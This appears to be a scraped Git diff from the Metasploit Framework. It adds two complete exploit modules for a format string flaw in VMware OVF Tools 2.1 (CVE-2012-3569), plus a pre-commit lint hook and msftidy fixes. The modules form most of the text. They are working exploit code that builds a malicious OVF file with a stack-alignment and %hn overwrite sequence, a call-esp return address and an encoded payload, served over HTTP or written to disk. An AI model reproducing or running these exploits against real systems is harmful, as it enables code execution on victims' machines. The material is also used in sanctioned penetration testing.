fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
|
||||
end
|
||||
|
||||
# Accessor for our TCP payload stager
|
||||
attr_accessor :service
|
||||
|
||||
# We need an unconnected socket because SSDP replies often come
|
||||
# from a different sent port than the one we sent to. This also
|
||||
# breaks the standard UDP mixin.
|
||||
def configure_socket
|
||||
self.udp_sock = Rex::Socket::Udp.create({
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(self.udp_sock)
|
||||
end
|
||||
|
||||
#
|
||||
# Required since we aren't using the normal mixins
|
||||
#
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Accessor for our UDP socket
|
||||
attr_accessor :udp_sock
|
||||
|
||||
end
|
|
@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Unknown', # 0day found in the wild
|
||||
'@sn0wfl0w', # initial analysis
|
||||
'@vicheck', # initial analysis
|
||||
'sn0wfl0w', # initial analysis, also @vicheck on twitter
|
||||
'jduck' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
|
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'unknown', # discovered in the wild
|
||||
'@yuange1975', # PoC posted to twitter
|
||||
'Yuange', # PoC posted to twitter under @yuange1975
|
||||
'Matteo Memelli', # exploit-db version
|
||||
'jduck' # Metasploit module
|
||||
],
|
||||
|
|
|
@ -0,0 +1,134 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'VMWare OVF Tools Format String Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
|
||||
Windows. The vulnerability occurs when printing error messages while parsing a
|
||||
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
|
||||
2.1 on Windows XP SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jeremy Brown', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-3569' ],
|
||||
[ 'OSVDB', '87117' ],
|
||||
[ 'BID', '56468' ],
|
||||
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'BadChars' =>
|
||||
(0x00..0x08).to_a.pack("C*") +
|
||||
"\x0b\x0c\x0e\x0f" +
|
||||
(0x10..0x1f).to_a.pack("C*") +
|
||||
(0x80..0xff).to_a.pack("C*") +
|
||||
"\x22",
|
||||
'StackAdjustment' => -3500,
|
||||
'PrependEncoder' => "\x54\x59", # push esp # pop ecx
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'ECX',
|
||||
'BufferOffset' => 6
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# vmware-ovftool-2.1.0-467744-win-i386.msi
|
||||
[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
|
||||
'AddrPops' => 98,
|
||||
'StackPadding' => 38081,
|
||||
'Alignment' => 4096
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Nov 08 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def ovf
|
||||
my_payload = rand_text_alpha(4) # ebp
|
||||
my_payload << [target.ret].pack("V") # eip # call esp
|
||||
my_payload << payload.encoded
|
||||
|
||||
fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
|
||||
fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
|
||||
fs << my_payload
|
||||
# 65536 => 0x10000
|
||||
# 27 => Error message prefix length
|
||||
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
|
||||
fs << "%08x" * target['AddrPops'] # Reach saved EBP
|
||||
fs << "%hn" # Overwrite LSW of saved EBP with 0x1000
|
||||
|
||||
ovf_file = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
|
||||
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
|
||||
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
|
||||
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
|
||||
xmlns:vmw="http://www.vmware.com/schema/ovf"
|
||||
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<References>
|
||||
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
|
||||
</References>
|
||||
<DiskSection>
|
||||
<Info>Virtual disk information</Info>
|
||||
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
|
||||
</DiskSection>
|
||||
<VirtualSystem ovf:id="Small VM">
|
||||
<Info>A virtual machine</Info>
|
||||
</VirtualSystem>
|
||||
</Envelope>
|
||||
EOF
|
||||
ovf_file
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
|
||||
if agent !~ /VMware-client/ or agent !~ /ovfTool/
|
||||
print_status("User agent #{agent} not recognized, answering Not Found...")
|
||||
send_not_found(cli)
|
||||
end
|
||||
|
||||
if uri =~ /.mf$/
|
||||
# The manifest file isn't required
|
||||
print_status("Sending Not Found for Manifest file request...")
|
||||
send_not_found(cli)
|
||||
end
|
||||
|
||||
print_status("Sending OVF exploit...")
|
||||
send_response(cli, ovf, {'Content-Type'=>'text/xml'})
|
||||
end
|
||||
|
||||
end
|
|
@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Unknown', # 0day found in the wild
|
||||
'@sn0wfl0w', # initial analysis
|
||||
'@vicheck', # initial analysis
|
||||
'sn0wfl0w', # initial analysis, also @vicheck on twitter
|
||||
'jduck' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
|
|
|
@ -0,0 +1,119 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VMWare OVF Tools Format String Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
|
||||
Windows. The vulnerability occurs when printing error messages while parsing a
|
||||
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
|
||||
2.1 on Windows XP SP3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jeremy Brown', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-3569' ],
|
||||
[ 'OSVDB', '87117' ],
|
||||
[ 'BID', '56468' ],
|
||||
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'BadChars' =>
|
||||
(0x00..0x08).to_a.pack("C*") +
|
||||
"\x0b\x0c\x0e\x0f" +
|
||||
(0x10..0x1f).to_a.pack("C*") +
|
||||
(0x80..0xff).to_a.pack("C*") +
|
||||
"\x22",
|
||||
'StackAdjustment' => -3500,
|
||||
'PrependEncoder' => "\x54\x59", # push esp # pop ecx
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'ECX',
|
||||
'BufferOffset' => 6
|
||||
}
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# vmware-ovftool-2.1.0-467744-win-i386.msi
|
||||
[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
|
||||
'AddrPops' => 98,
|
||||
'StackPadding' => 38081,
|
||||
'Alignment' => 4096
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Nov 08 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def ovf
|
||||
my_payload = rand_text_alpha(4) # ebp
|
||||
my_payload << [target.ret].pack("V") # eip # call esp
|
||||
my_payload << payload.encoded
|
||||
|
||||
fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
|
||||
fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
|
||||
fs << my_payload
|
||||
# 65536 => 0x10000
|
||||
# 27 => Error message prefix length
|
||||
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
|
||||
fs << "%08x" * target['AddrPops'] # Reach saved EBP
|
||||
fs << "%hn" # Overwrite LSW of saved EBP with 0x1000
|
||||
|
||||
ovf_file = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
|
||||
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
|
||||
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
|
||||
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
|
||||
xmlns:vmw="http://www.vmware.com/schema/ovf"
|
||||
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<References>
|
||||
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
|
||||
</References>
|
||||
<DiskSection>
|
||||
<Info>Virtual disk information</Info>
|
||||
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
|
||||
</DiskSection>
|
||||
<VirtualSystem ovf:id="Small VM">
|
||||
<Info>A virtual machine</Info>
|
||||
</VirtualSystem>
|
||||
</Envelope>
|
||||
EOF
|
||||
ovf_file
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1")
|
||||
file_create(ovf)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,54 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# Check that modules actually pass msftidy checks first.
|
||||
# To install this script, make this your pre-commit hook your local
|
||||
# metasploit-framework clone. For example, if you have checked out
|
||||
# the Metasploit Framework to:
|
||||
#
|
||||
# /home/mcfakepants/git/metasploit-framework
|
||||
#
|
||||
# then you will copy this script to:
|
||||
#
|
||||
# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit
|
||||
#
|
||||
# You must mark it executable (chmod +x), and do not name it
|
||||
# pre-commit.rb (just pre-commit)
|
||||
#
|
||||
# If you want to keep up on changes with this hook, just:
|
||||
#
|
||||
# ln -sf <this file> <path to commit hook>
|
||||
|
||||
valid = true # Presume validity
|
||||
files_to_check = []
|
||||
|
||||
results = %x[git diff --cached --name-only]
|
||||
|
||||
results.each_line do |fname|
|
||||
fname.strip!
|
||||
next unless File.exist?(fname) and File.file?(fname)
|
||||
next unless fname =~ /modules.+\.rb/
|
||||
files_to_check << fname
|
||||
end
|
||||
|
||||
if files_to_check.empty?
|
||||
puts "--- No Metasploit modules to check, committing. ---"
|
||||
else
|
||||
puts "--- Checking module syntax with tools/msftidy.rb ---"
|
||||
files_to_check.each do |fname|
|
||||
cmd = "ruby ./tools/msftidy.rb #{fname}"
|
||||
msftidy_output= %x[ #{cmd} ]
|
||||
puts "#{fname} - msftidy check passed" if msftidy_output.empty?
|
||||
msftidy_output.each_line do |line|
|
||||
valid = false
|
||||
puts line
|
||||
end
|
||||
end
|
||||
puts "-" * 52
|
||||
end
|
||||
|
||||
unless valid
|
||||
puts "msftidy.rb objected, aborting commit"
|
||||
puts "To bypass this check use: git commit --no-verify"
|
||||
puts "-" * 52
|
||||
exit(1)
|
||||
end
|
|
@ -204,7 +204,7 @@ class Msftidy
|
|||
end
|
||||
|
||||
if author_name =~ /^@.+$/
|
||||
error("No Twitter handle, please. Try leaving it in a comment instead.")
|
||||
error("No Twitter handles, please. Try leaving it in a comment instead.")
|
||||
end
|
||||
|
||||
if not author_name.ascii_only?
|
||||
|
@ -226,9 +226,7 @@ class Msftidy
|
|||
puts "Checking syntax for #{f_rel}."
|
||||
rubies ||= RVM.list_strings
|
||||
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
|
||||
rubies.size == res.size
|
||||
|
||||
error("Fails alternate Ruby version check") if rubies.size
|
||||
error("Fails alternate Ruby version check") if rubies.size != res.size
|
||||
end
|
||||
|
||||
def check_ranking
|
||||
|
@ -281,6 +279,7 @@ class Msftidy
|
|||
words.each do |word|
|
||||
if %w{and or the for to in of as with a an on at}.include?(word)
|
||||
next
|
||||
elsif %w{pbot}.include?(word)
|
||||
elsif word =~ /^[a-z]+$/
|
||||
warn("Improper capitalization in module title: '#{word}'")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue